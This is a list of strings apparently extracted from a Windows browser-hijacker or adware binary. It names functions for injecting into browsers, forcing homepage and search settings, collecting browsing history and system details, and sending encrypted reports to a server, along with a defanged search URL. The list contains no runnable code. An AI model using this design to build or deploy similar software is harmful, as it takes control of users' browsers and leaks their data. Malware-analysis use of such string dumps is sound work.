8Reset DNS to 8.8.8.8 for adapter
8Reset DNS to 8.8.8.8 for adapter
WinHTTP Example/1.0
WinHTTP Example/1.0
VVV.google.com
VVV.google.com
SOFTWARE\Google\Chrome
SOFTWARE\Google\Chrome
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
Registry::Helper::RegOpenKeyExA
Registry::Helper::RegOpenKeyExA
Chrome::StartPageProtectionEnabled
Chrome::StartPageProtectionEnabled
Chrome::SearchEngineProtectionEnabled
Chrome::SearchEngineProtectionEnabled
Chrome::RestoreOnStartupProtectionEnabled
Chrome::RestoreOnStartupProtectionEnabled
Chrome::StartPageProtectionDisabled
Chrome::StartPageProtectionDisabled
Chrome::SearchEngineProtectionDisabled
Chrome::SearchEngineProtectionDisabled
Chrome::RestoreOnStartupProtectionDisabled
Chrome::RestoreOnStartupProtectionDisabled
Firefox::StartPageChangedByUser
Firefox::StartPageChangedByUser
Firefox::SearchEngineChangedByUser
Firefox::SearchEngineChangedByUser
Explorer.HomePageEvent:
Explorer.HomePageEvent:
Explorer.SearchEngineEvent:
Explorer.SearchEngineEvent:
Firefox.HomePageEvent:
Firefox.HomePageEvent:
Firefox.SearchEngineEvent:
Firefox.SearchEngineEvent:
ProcessCatcher::ExecutionContext::Resume
ProcessCatcher::ExecutionContext::Resume
Allocation
Allocation
iexplore.exe
iexplore.exe
rundll32.exe
rundll32.exe
chrome.exe
chrome.exe
firefox.exe
firefox.exe
opera.exe
opera.exe
safari.exe
safari.exe
navigator.exe
navigator.exe
torch.exe
torch.exe
U.exe
U.exe
epic.exe
epic.exe
browser.exe
browser.exe
Maxthon.exe
Maxthon.exe
sbframe.exe
sbframe.exe
avant.exe
avant.exe
dragon.exe
dragon.exe
bobrowser.exe
bobrowser.exe
ProcessMonitor::ExecutionContext::Resume
ProcessMonitor::ExecutionContext::Resume
E:\iexplore.exe|E:\rundll32.exe
E:\iexplore.exe|E:\rundll32.exe
E:\chrome.exe
E:\chrome.exe
E:\firefox.exe
E:\firefox.exe
E:\opera.exe
E:\opera.exe
E:\Safari.exe|E:\navigator.exe|E:\torch.exe|E:\U.exe|E:\epic.exe|E:\browser.exe|E:\Maxthon.exe|E:\sbframe.exe|E:\avant.exe|E:\dragon.exe|E:\bobrowser.exe
E:\Safari.exe|E:\navigator.exe|E:\torch.exe|E:\U.exe|E:\epic.exe|E:\browser.exe|E:\Maxthon.exe|E:\sbframe.exe|E:\avant.exe|E:\dragon.exe|E:\bobrowser.exe
smei32.dll
smei32.dll
smci32.dll
smci32.dll
smfi32.dll
smfi32.dll
smoi32.dll
smoi32.dll
smri32.dll
smri32.dll
smi32.exe
smi32.exe
Utils::PipedProcess::Create
Utils::PipedProcess::Create
Utils::PipedProcess::Start
Utils::PipedProcess::Start
Utils::PipedProcess::WriteData
Utils::PipedProcess::WriteData
[ReportDllsThread]
[ReportDllsThread]
ProcessWatcher::ExecutionContext::Resume
ProcessWatcher::ExecutionContext::Resume
Local proxy port:
Local proxy port:
127.0.0.1
127.0.0.1
[ProxyMonitor::getProcessByPort]
[ProxyMonitor::getProcessByPort]
Failed to get GetExtendedTcpTable
Failed to get GetExtendedTcpTable
[ReportBuilder::MakeDefaultBrowserSettingsElement]
[ReportBuilder::MakeDefaultBrowserSettingsElement]
[ReportBuilder::CalculateHash]
[ReportBuilder::CalculateHash]
Result.Hash:
Result.Hash:
[ReportBuilder::MakeHistoryReport]
[ReportBuilder::MakeHistoryReport]
Building history report...
Building history report...
ReportBuilder::GetWMISystemInfo
ReportBuilder::GetWMISystemInfo
ReportBuilder::GetExplorerBrowserInfo
ReportBuilder::GetExplorerBrowserInfo
ReportBuilder::GetChromeBrowserInfo
ReportBuilder::GetChromeBrowserInfo
. Chrome Search:
. Chrome Search:
History Report:
History Report:
[ReportBuilder::MakeReport]
[ReportBuilder::MakeReport]
Report:
Report:
[ReportBuilder::GetExplorerBrowserInfo]
[ReportBuilder::GetExplorerBrowserInfo]
[ReportBuilder::GetChromeBrowserInfo]
[ReportBuilder::GetChromeBrowserInfo]
Chrome::BrowserInfo::Factory::Create
Chrome::BrowserInfo::Factory::Create
Chrome::BrowserInfo::Factory::GetInfo
Chrome::BrowserInfo::Factory::GetInfo
sma.exe
sma.exe
Utils::PipedProcess::ReadData
Utils::PipedProcess::ReadData
Utils::PipedProcess::Wait
Utils::PipedProcess::Wait
Utils::PipedProcess::WriteEof
Utils::PipedProcess::WriteEof
777705555443332
777705555443332
5555443332
5555443332
5555443332
5555443332
Utils::MachineKey::Create
Utils::MachineKey::Create
Utils::MachineKey::Generate
Utils::MachineKey::Generate
Encrypt data. Key:
Encrypt data. Key:
Decrypt data. Key:
Decrypt data. Key:
ReportBuilder::MakeInstallReport
ReportBuilder::MakeInstallReport
[ServerReporter::SendInstallReport]
[ServerReporter::SendInstallReport]
ReportBuilder::MakeUninstallReport
ReportBuilder::MakeUninstallReport
[ServerReporter::SendUninstallReport]
[ServerReporter::SendUninstallReport]
ReportBuilder::MakeRegulatReport
ReportBuilder::MakeRegulatReport
[ServerReporter::SendRegularReport]
[ServerReporter::SendRegularReport]
ReportBuilder::MakeUserActionReport
ReportBuilder::MakeUserActionReport
[ServerReporter::SendUserActionReport]
[ServerReporter::SendUserActionReport]
ReportBuilder::MakeHistoryReport
ReportBuilder::MakeHistoryReport
[ServerReporter::SendHistoryReport]
[ServerReporter::SendHistoryReport]
ServerReporter::MakeReport
ServerReporter::MakeReport
ServerReporter::SendReport
ServerReporter::SendReport
[ServerReporter::SendReport]
[ServerReporter::SendReport]
ServerEncryption::CreateSessionKey
ServerEncryption::CreateSessionKey
Report in Base 64:
Report in Base 64:
10D2FBE6-2346-4627-A9F5-FB48313C5001
10D2FBE6-2346-4627-A9F5-FB48313C5001
ServerReporter::Implementation::GetTargetUrl - User GUID is problematic GUID (hardcoded/unknown)
ServerReporter::Implementation::GetTargetUrl - User GUID is problematic GUID (hardcoded/unknown)
ServerReporter::Implementation::GetTargetUrl - Failed replacing problematic GUID with new one
ServerReporter::Implementation::GetTargetUrl - Failed replacing problematic GUID with new one
[ServerReporter::GetUserProfile]
[ServerReporter::GetUserProfile]
[ServerReporter::MakeReport]
[ServerReporter::MakeReport]
ServerReporter::GetUserProfile
ServerReporter::GetUserProfile
ReportBuilder::Create
ReportBuilder::Create
Result.Report:
Result.Report:
[ServerReporter::SetLastReportTime]
[ServerReporter::SetLastReportTime]
WatchmanKey::Reporter::SetLastTime
WatchmanKey::Reporter::SetLastTime
Package url:
Package url:
WatchmanKey::Updater::SetLastTime
WatchmanKey::Updater::SetLastTime
.Service
.Service
\Microsoft\Windows\Start Menu
\Microsoft\Windows\Start Menu
*.lnk
*.lnk
\Internet Explorer\iexplore.exe
\Internet Explorer\iexplore.exe
\Safari\Safari.exe
\Safari\Safari.exe
/report
/report
/report1
/report1
%d.%d.%d.%d%n
%d.%d.%d.%d%n
Created URL Set object from configuration. Name:
Created URL Set object from configuration. Name:
UrlSetID:
UrlSetID:
Could not find matching URL set... Using old configuration
Could not find matching URL set... Using old configuration
[LocalScope::UpdateParser::ParseReportSection]
[LocalScope::UpdateParser::ParseReportSection]
Monitor::ServerEncryption::CreateSessionKey
Monitor::ServerEncryption::CreateSessionKey
Full url:
Full url:
Data url:
Data url:
sbu.exe
sbu.exe
smw.sys
smw.sys
wscript.exe
wscript.exe
smhe.js
smhe.js
[Monitor::WatchmanGuard::SendReport]
[Monitor::WatchmanGuard::SendReport]
InstallReporter
InstallReporter
Monitor::ServerReporter::Create
Monitor::ServerReporter::Create
Monitor::ServerReporter::SendInitialReport
Monitor::ServerReporter::SendInitialReport
/urlset:
/urlset:
Options.InjectAllBrowsers:
Options.InjectAllBrowsers:
Options.InjectDefaultOnly:
Options.InjectDefaultOnly:
Options.ServiceName:
Options.ServiceName:
Options.ProductCode:
Options.ProductCode:
Options.ProductPriority:
Options.ProductPriority:
Options.EnablePinner:
Options.EnablePinner:
Options.EnableRedirect:
Options.EnableRedirect:
Options.EnableYellowBandSuppression:
Options.EnableYellowBandSuppression:
Options.UpdateUrl:
Options.UpdateUrl:
Options.ReportUrl:
Options.ReportUrl:
Options.AutoStart:
Options.AutoStart:
Options.ProtectSearch:
Options.ProtectSearch:
Options.ProtectHome:
Options.ProtectHome:
Options.ProtectTab:
Options.ProtectTab:
Options.ExplorerInjection:
Options.ExplorerInjection:
Options.ChromeInjection:
Options.ChromeInjection:
Options.FirefoxInjection:
Options.FirefoxInjection:
Options.OperaInjection:
Options.OperaInjection:
Options.ConfigPath:
Options.ConfigPath:
Options.ConfigKey:
Options.ConfigKey:
Getting current URL Set
Getting current URL Set
Getting URL Set from options
Getting URL Set from options
] Provided. And is different from current URL set [
] Provided. And is different from current URL set [
URL Set [
URL Set [
Need to send report!!!
Need to send report!!!
ServerReporter::Create
ServerReporter::Create
Original report URL:
Original report URL:
URL to use:
URL to use:
ServerReporter::SendInitialReport
ServerReporter::SendInitialReport
general_config.xml
general_config.xml
system_config.xml
system_config.xml
[WatchmanInstaller::SendReport1]
[WatchmanInstaller::SendReport1]
iexplore.exe is running, result for getting DLL's:
iexplore.exe is running, result for getting DLL's:
firefox.exe is running, result for getting DLL's:
firefox.exe is running, result for getting DLL's:
chrome.exe is running, result for getting DLL's:
chrome.exe is running, result for getting DLL's:
ServerReporter::SendRegularReport
ServerReporter::SendRegularReport
[WatchmanInstaller::SendReport]
[WatchmanInstaller::SendReport]
ServerReporter::SendHistoryReport
ServerReporter::SendHistoryReport
Currently set URLSet:
Currently set URLSet:
Updating system config with new URL set...
Updating system config with new URL set...
Already reported duiring first install
Already reported duiring first install
Report' been sent:
Report' been sent:
WatchmanInstaller::SendReport1
WatchmanInstaller::SendReport1
calling SendReport1...
calling SendReport1...
WatchmanInstaller::SendReport
WatchmanInstaller::SendReport
[Monitor::WatchmanMonitor::CreateSendReportTask]
[Monitor::WatchmanMonitor::CreateSendReportTask]
SendReportTask
SendReportTask
new
new
[Monitor::WatchmanMonitor::OnSendReportSucceeded]
[Monitor::WatchmanMonitor::OnSendReportSucceeded]
[Monitor::WatchmanMonitor::OnSendReportFailed]
[Monitor::WatchmanMonitor::OnSendReportFailed]
[Monitor::WatchmanMonitor::OnChromeProtectionChanged]
[Monitor::WatchmanMonitor::OnChromeProtectionChanged]
User has changed the chrome protection for:
User has changed the chrome protection for:
[Monitor::WatchmanMonitor::OnResetFirefoxProtection]
[Monitor::WatchmanMonitor::OnResetFirefoxProtection]
User has reset the firefox protection:
User has reset the firefox protection:
Next report task:
Next report task:
Scheduller::RegisterTask
Scheduller::RegisterTask
Monitor::Application::EnsureSystemKey
Monitor::Application::EnsureSystemKey
Options.Revert:
Options.Revert:
Settings.Final:
Settings.Final:
UninstallReporter
UninstallReporter
profiles.ini
profiles.ini
prefs.js
prefs.js
Mozilla\Firefox\
Mozilla\Firefox\
[Firefox::InstallInfo::ReadProfiles]
[Firefox::InstallInfo::ReadProfiles]
[Firefox::InstallInfo::ParseProfiles]
[Firefox::InstallInfo::ParseProfiles]
[Firefox::InstallInfo::QueryProfiles]
[Firefox::InstallInfo::QueryProfiles]
Firefox::InstallInfo::ReadProfiles
Firefox::InstallInfo::ReadProfiles
Firefox::InstallInfo::ParseProfiles
Firefox::InstallInfo::ParseProfiles
[Firefox::InstallInfo::Query]
[Firefox::InstallInfo::Query]
SHELL32.DLL
SHELL32.DLL
No profiles found! Maybe - first start of Firefox?
No profiles found! Maybe - first start of Firefox?
ADVAPI32.DLL
ADVAPI32.DLL
shlwapi.dll
shlwapi.dll
Utils::Registry::OpenKeyExW
Utils::Registry::OpenKeyExW
Subkey:
Subkey:
[Utils::Registry::RecursiveDeleteKeyW]
[Utils::Registry::RecursiveDeleteKeyW]
SHLWAPI.GetAddressOf
SHLWAPI.GetAddressOf
WKERNEL32.DLL
WKERNEL32.DLL
VERSION.DLL
VERSION.DLL
NTDLL.DLL
NTDLL.DLL
[Utils::PipedProcess::CreateOutputHandles]
[Utils::PipedProcess::CreateOutputHandles]
[Utils::PipedProcess::CreateInputHandles]
[Utils::PipedProcess::CreateInputHandles]
[Utils::PipedProcess::SpawnProcess]
[Utils::PipedProcess::SpawnProcess]
Utils::PipedProcess::CreateOutputHandles
Utils::PipedProcess::CreateOutputHandles
Utils::PipedProcess::CreateInputHandles
Utils::PipedProcess::CreateInputHandles
Utils::PipedProcess::SpawnProcess
Utils::PipedProcess::SpawnProcess
[Utils::PipedProcess::Start]
[Utils::PipedProcess::Start]
[Utils::PipedProcess::Wait]
[Utils::PipedProcess::Wait]
Utils::PipedProcess::WriteProc
Utils::PipedProcess::WriteProc
[Utils::PipedProcess::WriteData]
[Utils::PipedProcess::WriteData]
Utils::PipedProcess::ReadProc
Utils::PipedProcess::ReadProc
[Utils::PipedProcess::ReadData]
[Utils::PipedProcess::ReadData]
.cache
.cache
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
ntdll.dll
ntdll.dll
Could not create memory object. Object name: %s. %%s
Could not create memory object. Object name: %s. %%s
Could not open memory object. Object name: %s. %%s
Could not open memory object. Object name: %s. %%s
Could not map memory object. Object name: %s. %%s
Could not map memory object. Object name: %s. %%s
Could not map memory object. Object name: %s. Size: %u. %%s
Could not map memory object. Object name: %s. Size: %u. %%s
Could not create sync object for memory. Object name: %s. %%s
Could not create sync object for memory. Object name: %s. %%s
pathToSignedProductExe
pathToSignedProductExe
SELECT * FROM Win32_OperatingSystem
SELECT * FROM Win32_OperatingSystem
A[BrowserHistory::GetPropertyReport]
A[BrowserHistory::GetPropertyReport]
Found URL:
Found URL:
GIPHLPAPI.DLL
GIPHLPAPI.DLL
GX-hX-hX-XX-XXXXXX
GX-hX-hX-XX-XXXXXX
\\.\pipe\
\\.\pipe\
Could not create thread event. %%s
Could not create thread event. %%s
Could not create new client event. %%s
Could not create new client event. %%s
Could not create accept thread. %%s
Could not create accept thread. %%s
Could not create work thread. %%s
Could not create work thread. %%s
Could not start thread. %%s
Could not start thread. %%s
Stop IPC error. %%s
Stop IPC error. %%s
Pipe (0x%X) read problems. %%s
Pipe (0x%X) read problems. %%s
IAction::QueryInterface
IAction::QueryInterface
IExecAction::put_Path
IExecAction::put_Path
IExecAction::put_WorkingDirectory
IExecAction::put_WorkingDirectory
IExecAction::put_Arguments
IExecAction::put_Arguments
Ghttp\shell\open\command
Ghttp\shell\open\command
Software\Microsoft\Windows\CurrentVersion\App Paths
Software\Microsoft\Windows\CurrentVersion\App Paths
[Utils::SoftwareInfo::GetHttpOpenHandler]
[Utils::SoftwareInfo::GetHttpOpenHandler]
Utils::Registry::OpenKeyW
Utils::Registry::OpenKeyW
[SynchronousPipe::Write]
[SynchronousPipe::Write]
[SynchronousPipe::Read]
[SynchronousPipe::Read]
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
Not enough memory. Size: %s (%s)
Not enough memory. Size: %s (%s)
Error code: %u ('%s')
Error code: %u ('%s')
Could not allocate IPC memory. Requires size: %u
Could not allocate IPC memory. Requires size: %u
Could not create pipe. %%s
Could not create pipe. %%s
Could not create pipe event. %%s
Could not create pipe event. %%s
Event error. %%s
Event error. %%s
Pipe connecting error. %%s
Pipe connecting error. %%s
HCould not create IPC event. %%s
HCould not create IPC event. %%s
yIEXPLORE.EXE
yIEXPLORE.EXE
SuggestionURL
SuggestionURL
FaviconURL
FaviconURL
TopResultURLFallback
TopResultURLFallback
Software\Microsoft\Internet Explorer\AboutURLs
Software\Microsoft\Internet Explorer\AboutURLs
Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
Software\Microsoft\Windows\CurrentVersion\Ext\Settings
Software\Microsoft\Windows\CurrentVersion\Ext\Settings
Failed to call enum URL's. Error:
Failed to call enum URL's. Error:
[Injection::Snapshot::Chrome::Settings::Dump]
[Injection::Snapshot::Chrome::Settings::Dump]
[Injection::Snapshot::Firefox::Settings::Dump]
[Injection::Snapshot::Firefox::Settings::Dump]
[Monitor::RestoreData::Controller::Build]
[Monitor::RestoreData::Controller::Build]
[Monitor::RestoreData::Controller::Build]
[Monitor::RestoreData::Controller::Build]
[Injection::Snapshot::Builder::BuildSettings]
[Injection::Snapshot::Builder::BuildSettings]
[Injection::Snapshot::Builder::BuildSettings]
[Injection::Snapshot::Builder::BuildSettings]
new
new
Injection::Snapshot::Parser::Parse
Injection::Snapshot::Parser::Parse
new
new
Injection::Snapshot::Parser::Parse
Injection::Snapshot::Parser::Parse
ReadStringNode
ReadStringNode
[Injection::Snapshot::Parser::Parse]
[Injection::Snapshot::Parser::Parse]
ReadStringNode
ReadStringNode
[Injection::Snapshot::Parser::Parse]
[Injection::Snapshot::Parser::Parse]
[Injection::Snapshot::Controller::IsChromeInstalled]
[Injection::Snapshot::Controller::IsChromeInstalled]
Chrome::BrowserSettings::Create
Chrome::BrowserSettings::Create
[Injection::Snapshot::Controller::IsFirefoxInstalled]
[Injection::Snapshot::Controller::IsFirefoxInstalled]
Firefox::BrowserSettings::Create
Firefox::BrowserSettings::Create
Chrome::BrowserSettings::RestoreState
Chrome::BrowserSettings::RestoreState
Firefox::BrowserSettings::RestoreState
Firefox::BrowserSettings::RestoreState
Argument.SystemConfig:
Argument.SystemConfig:
Argument.Config::General:
Argument.Config::General:
Argument.Config::User:
Argument.Config::User:
Chrome::BrowserSettings::PropagateState
Chrome::BrowserSettings::PropagateState
Firefox::BrowserSettings::PropagateState
Firefox::BrowserSettings::PropagateState
Argument.UserSid:
Argument.UserSid:
WatchmanKey::Users::SaveRestoreData
WatchmanKey::Users::SaveRestoreData
[WatchmanKey::GetEncryptionKey]
[WatchmanKey::GetEncryptionKey]
MachineKey::Create
MachineKey::Create
MachineKey::Generate
MachineKey::Generate
[WatchmanKey::CleanupKey]
[WatchmanKey::CleanupKey]
[WatchmanKey::LoadEncodedData]
[WatchmanKey::LoadEncodedData]
WatchmanKey::GetEncryptionKey
WatchmanKey::GetEncryptionKey
[WatchmanKey::SaveEncodedData]
[WatchmanKey::SaveEncodedData]
[WatchmanKey::System::LoadGeneralConfig]
[WatchmanKey::System::LoadGeneralConfig]
WatchmanKey::System::Open
WatchmanKey::System::Open
WatchmanKey::LoadEncodedData
WatchmanKey::LoadEncodedData
[WatchmanKey::System::SaveGeneralConfig]
[WatchmanKey::System::SaveGeneralConfig]
WatchmanKey::System::Ensure
WatchmanKey::System::Ensure
WatchmanKey::SaveEncodedData
WatchmanKey::SaveEncodedData
[WatchmanKey::System::LoadSystemConfig]
[WatchmanKey::System::LoadSystemConfig]
[WatchmanKey::System::SaveSystemConfig]
[WatchmanKey::System::SaveSystemConfig]
[WatchmanKey::Users::Ensure]
[WatchmanKey::Users::Ensure]
WatchmanKey::EnsureKey
WatchmanKey::EnsureKey
[WatchmanKey::Users::Open]
[WatchmanKey::Users::Open]
WatchmanKey::OpenKey
WatchmanKey::OpenKey
[WatchmanKey::Users::LoadConfiguration]
[WatchmanKey::Users::LoadConfiguration]
WatchmanKey::Users::Ensure
WatchmanKey::Users::Ensure
[WatchmanKey::Users::SaveConfiguration]
[WatchmanKey::Users::SaveConfiguration]
[WatchmanKey::Users::LoadRestoreData]
[WatchmanKey::Users::LoadRestoreData]
[WatchmanKey::Updater::SetLastTime]
[WatchmanKey::Updater::SetLastTime]
[WatchmanKey::Updater::SetBlackListHash]
[WatchmanKey::Updater::SetBlackListHash]
[WatchmanKey::Updater::GetBlackListHash]
[WatchmanKey::Updater::GetBlackListHash]
[WatchmanKey::Reporter::GetLastTime]
[WatchmanKey::Reporter::GetLastTime]
[WatchmanKey::Reporter::SetLastTime]
[WatchmanKey::Reporter::SetLastTime]
[WatchmanKey::TimeBomb::Uninstall]
[WatchmanKey::TimeBomb::Uninstall]
WatchmanKey::SystemKey::Open
WatchmanKey::SystemKey::Open
smod.xml
smod.xml
SearchModulePlus.crx
SearchModulePlus.crx
{7F4EFF06-7032-458e-AE16-1C1D8255C28A}
{7F4EFF06-7032-458e-AE16-1C1D8255C28A}
{CFBFAE00-17A6-11D0-99CB-00C04FD64497}
{CFBFAE00-17A6-11D0-99CB-00C04FD64497}
hXXp://api.searchpredict.com/api/?rqtype=ffplugin&siteID=8661&dbCode=1&command={searchTerms}
hXXp://api.searchpredict.com/api/?rqtype=ffplugin&siteID=8661&dbCode=1&command={searchTerms}
DATAMNGR.DLL
DATAMNGR.DLL
IEBHO.DLL
IEBHO.DLL
[Config::General::UrlSet::Copy]
[Config::General::UrlSet::Copy]
[Config::General::Chrome::Settings::Dump]
[Config::General::Chrome::Settings::Dump]
[Config::General::Chrome::Settings::Copy]
[Config::General::Chrome::Settings::Copy]
[Config::General::Chrome::ValueSet::Copy]
[Config::General::Chrome::ValueSet::Copy]
[Config::General::Firefox::Settings::Dump]
[Config::General::Firefox::Settings::Dump]
[Config::General::Firefox::Settings::Copy]
[Config::General::Firefox::Settings::Copy]
[Config::General::Firefox::ValueSet::Copy]
[Config::General::Firefox::ValueSet::Copy]
[Config::General::Opera::Settings::Dump]
[Config::General::Opera::Settings::Dump]
[Config::General::Opera::Settings::Copy]
[Config::General::Opera::Settings::Copy]
Config::General::Parser::ParseUrlSet
Config::General::Parser::ParseUrlSet
Config::General::Parser::ParseChromeSettings
Config::General::Parser::ParseChromeSettings
Config::General::Parser::ParseFirefoxSettings
Config::General::Parser::ParseFirefoxSettings
Config::General::Parser::ParseOperaSettings
Config::General::Parser::ParseOperaSettings
ReadStringNode
ReadStringNode
lReadStringNode
lReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
[Config::General::Parser::ParseChromeSettings]
[Config::General::Parser::ParseChromeSettings]
MissedElement
MissedElement
Config::General::Parser::ParseChromeValueSets
Config::General::Parser::ParseChromeValueSets
[Config::General::Parser::ParseChromeValueSets]
[Config::General::Parser::ParseChromeValueSets]
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
[Config::General::Parser::ParseFirefoxSettings]
[Config::General::Parser::ParseFirefoxSettings]
MissedElement
MissedElement
Config::General::Parser::ParseFirefoxValueSets
Config::General::Parser::ParseFirefoxValueSets
[Config::General::Parser::ParseFirefoxValueSets]
[Config::General::Parser::ParseFirefoxValueSets]
ReadOptionalStringNode
ReadOptionalStringNode
ReadOptionalStringNode
ReadOptionalStringNode
ReadOptionalStringNode
ReadOptionalStringNode
[Config::General::Parser::ParseUrlSet]
[Config::General::Parser::ParseUrlSet]
MissedElement
MissedElement
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
dReadStringNode
dReadStringNode
[Config::General::Parser::ParseOperaSettings]
[Config::General::Parser::ParseOperaSettings]
MissedElement
MissedElement
yReadStringNode
yReadStringNode
[Config::General::Builder::Build]
[Config::General::Builder::Build]
[Config::General::Builder::Build]
[Config::General::Builder::Build]
[Config::General::Builder::Build]
[Config::General::Builder::Build]
We couldn't find the URL Set section... probably an old configuration!
We couldn't find the URL Set section... probably an old configuration!
WatchmanKey::System::LoadGeneralConfig
WatchmanKey::System::LoadGeneralConfig
WatchmanKey::System::SaveGeneralConfig
WatchmanKey::System::SaveGeneralConfig
JReset-2.1.0.7
JReset-2.1.0.7
2.1.0.7
2.1.0.7
2.0.0.0
2.0.0.0
ReadOptionalStringNode
ReadOptionalStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadStringNode
ReadBooleanNode
ReadBooleanNode
ReadBooleanNode
ReadBooleanNode
ReadBooleanNode
ReadBooleanNode
Could not find URL Set in configuration. Probably older configuration.
Could not find URL Set in configuration. Probably older configuration.
WatchmanKey::System::LoadSystemConfig
WatchmanKey::System::LoadSystemConfig
WatchmanKey::System::SaveSystemConfig
WatchmanKey::System::SaveSystemConfig
[Config::User::Chrome::Settings::Copy]
[Config::User::Chrome::Settings::Copy]
[Config::User::Firefox::Settings::Copy]
[Config::User::Firefox::Settings::Copy]
Config::User::Parser::ParseChromeSettings
Config::User::Parser::ParseChromeSettings
Config::User::Parser::ParseFirefoxSettings
Config::User::Parser::ParseFirefoxSettings
[Config::User::Parser::ParseChromeSettings]
[Config::User::Parser::ParseChromeSettings]
[Config::User::Parser::ParseFirefoxSettings]
[Config::User::Parser::ParseFirefoxSettings]
[Config::User::Builder::BuildChromeSettings]
[Config::User::Builder::BuildChromeSettings]
[Config::User::Builder::BuildFirefoxSettings]
[Config::User::Builder::BuildFirefoxSettings]
WatchmanKey::User::LoadConfiguration
WatchmanKey::User::LoadConfiguration
WatchmanKey::User::SaveConfiguration
WatchmanKey::User::SaveConfiguration
CChromeExtension::GetFileListInExtenstion
CChromeExtension::GetFileListInExtenstion
GCHROME.EXE
GCHROME.EXE
__MSG_
__MSG_
manifest.json
manifest.json
messages.json
messages.json
WebData
WebData
[Chrome::BrowserInfo::Query]
[Chrome::BrowserInfo::Query]
Google\Chrome
Google\Chrome
\Application\chrome.exe
\Application\chrome.exe
\Google\Chrome\Application\chrome.exe
\Google\Chrome\Application\chrome.exe
\resources.pak
\resources.pak
\Google\Chrome\Application\
\Google\Chrome\Application\
\Web Data
\Web Data
[Chrome::BrowserSettings::OpenConfigFiles]
[Chrome::BrowserSettings::OpenConfigFiles]
Chrome::InstallInfo::Get
Chrome::InstallInfo::Get
SQLite::WebDataDB::Create
SQLite::WebDataDB::Create
[Chrome::BrowserSettings::SetHomePagePreferences]
[Chrome::BrowserSettings::SetHomePagePreferences]
Argument.HomePageUrl:
Argument.HomePageUrl:
Argument.HomePageIsNewTabPage:
Argument.HomePageIsNewTabPage:
[Chrome::BrowserSettings::SetDefaultProviderPreferences]
[Chrome::BrowserSettings::SetDefaultProviderPreferences]
Argument.DefaultProviderId:
Argument.DefaultProviderId:
Argument.DefaultProviderKeyWord:
Argument.DefaultProviderKeyWord:
Argument.DefaultProviderName:
Argument.DefaultProviderName:
Argument.DefaultProviderEncoding:
Argument.DefaultProviderEncoding:
Argument.DefaultProviderSearchUrl:
Argument.DefaultProviderSearchUrl:
Argument.DefaultProviderIconUrl:
Argument.DefaultProviderIconUrl:
Argument.DefaultProviderSuggestUrl:
Argument.DefaultProviderSuggestUrl:
[Chrome::BrowserSettings::SetRestoreOnStartupPreferences]
[Chrome::BrowserSettings::SetRestoreOnStartupPreferences]
Argument.RestoreOnStartup:
Argument.RestoreOnStartup:
Argument.UrlsToRestoreOnStartup:
Argument.UrlsToRestoreOnStartup:
[Chrome::BrowserSettings::GetSearchProviderId]
[Chrome::BrowserSettings::GetSearchProviderId]
Argument.KeywordToSearch:
Argument.KeywordToSearch:
SQLite::WebDataDB::GetFirstProviderId
SQLite::WebDataDB::GetFirstProviderId
SQLite::WebDataDB::GetProviderById
SQLite::WebDataDB::GetProviderById
Result.ProviderId:
Result.ProviderId:
[Chrome::BrowserSettings::EnsureSearchProvider]
[Chrome::BrowserSettings::EnsureSearchProvider]
SQLite::WebDataDB::Values::Create
SQLite::WebDataDB::Values::Create
[Chrome::BrowserSettings::DeleteSearchProvider]
[Chrome::BrowserSettings::DeleteSearchProvider]
Key deleted:
Key deleted:
[Chrome::BrowserSettings::MakeSnapshot]
[Chrome::BrowserSettings::MakeSnapshot]
[Chrome::BrowserSettings::RestoreState]
[Chrome::BrowserSettings::RestoreState]
Chrome::BrowserSettings::OpenConfigFiles
Chrome::BrowserSettings::OpenConfigFiles
Chrome::BrowserSettings::DeleteSearchProvider
Chrome::BrowserSettings::DeleteSearchProvider
SQLite::WebDataDB::SetDefaultProvider
SQLite::WebDataDB::SetDefaultProvider
[Chrome::BrowserSettings::PropagateState]
[Chrome::BrowserSettings::PropagateState]
Chrome::BrowserSettings::EnsureSearchProvider
Chrome::BrowserSettings::EnsureSearchProvider
[SQLite::Implementation::AddProvider]
[SQLite::Implementation::AddProvider]
[SQLite::Implementation::GetProviderById]
[SQLite::Implementation::GetProviderById]
[SQLite::Implementation::GetProviderByKeyword]
[SQLite::Implementation::GetProviderByKeyword]
[SQLite::Implementation::GetFirstProviderId]
[SQLite::Implementation::GetFirstProviderId]
[SQLite::Implementation::GetProviderId]
[SQLite::Implementation::GetProviderId]
Lchrome-extension://
Lchrome-extension://
13050095043000000
13050095043000000
4BB42133-5533-4A0C-BF72-F1B8C8776A11
4BB42133-5533-4A0C-BF72-F1B8C8776A11
Checking
Checking
Opera Software\Opera Stable\
Opera Software\Opera Stable\
\Opera\launcher.exe
\Opera\launcher.exe
\opera.pak
\opera.pak
\Opera\
\Opera\
Web Data
Web Data
\resources\default_partner_content.json
\resources\default_partner_content.json
[Firefox::BrowserSettings::MakeSnapshot]
[Firefox::BrowserSettings::MakeSnapshot]
[Firefox::BrowserSettings::RestoreState]
[Firefox::BrowserSettings::RestoreState]
[Firefox::BrowserSettings::PropagateState]
[Firefox::BrowserSettings::PropagateState]
Software\Microsoft\Internet Explorer\URLSearchHooks
Software\Microsoft\Internet Explorer\URLSearchHooks
[Explorer::BrowserSettings::SetMainKeyValues]
[Explorer::BrowserSettings::SetMainKeyValues]
[Explorer::BrowserSettings::SetTabbedBrowsingKeyValues]
[Explorer::BrowserSettings::SetTabbedBrowsingKeyValues]
[Explorer::BrowserSettings::SetSearchScopeKeyValues]
[Explorer::BrowserSettings::SetSearchScopeKeyValues]
[Explorer::BrowserSettings::SetAboutURLsKeyValues]
[Explorer::BrowserSettings::SetAboutURLsKeyValues]
Argument.SearchScopeToSearch:
Argument.SearchScopeToSearch:
Result.SearchScope:
Result.SearchScope:
